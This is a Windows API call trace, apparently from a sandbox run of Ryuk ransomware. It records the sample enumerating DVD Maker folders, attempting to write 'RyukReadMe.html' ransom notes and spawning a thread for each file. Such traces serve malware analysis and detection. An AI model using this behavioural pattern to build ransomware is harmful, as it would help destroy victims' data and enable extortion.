	[0178.222] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x76, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0
	[0178.222] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0178.225] SetLastError (dwErrCode=0x0) 
	[0178.225] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.235] GetLastError () returned 0x5
	[0178.235] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0178.235] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.235] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1
	[0178.235] SetLastError (dwErrCode=0x0) 
	[0178.235] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.579] GetLastError () returned 0x5
	[0178.579] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0178.579] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0178.862] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.862] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x76, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1
	[0178.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18
	[0178.864] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.865] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x76, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0178.865] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c
	[0178.867] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.868] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x76, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1
	[0178.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20
	[0178.871] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.872] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1
	[0178.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24
	[0178.875] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.876] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1
	[0178.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc28
	[0178.878] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.879] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x76, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0178.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c
	[0178.881] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.882] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x76, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1
	[0178.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30
	[0178.885] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.886] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x76, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1
	[0178.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34
	[0178.888] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.888] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1
	[0178.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc38
	[0178.890] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0178.891] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x76, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1
	[0178.891] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0178.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c
	[0179.036] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.037] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x76, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0179.037] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc40
	[0179.040] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.069] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1
	[0179.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc44
	[0179.073] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.074] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x76, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1
	[0179.074] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc48
	[0179.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.078] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1
	[0179.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c
	[0179.081] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.082] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1
	[0179.082] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50
	[0179.085] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.085] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x76, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1
	[0179.085] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54
	[0179.102] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.104] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x76, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0179.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc58
	[0179.108] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.109] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1
	[0179.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc5c
	[0179.278] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.279] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1
	[0179.279] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc60
	[0179.281] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.282] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1
	[0179.282] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64
	[0179.284] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.285] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1
	[0179.285] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68
	[0179.287] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.288] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1
	[0179.288] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0179.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc6c
	[0179.291] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0179.291] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1
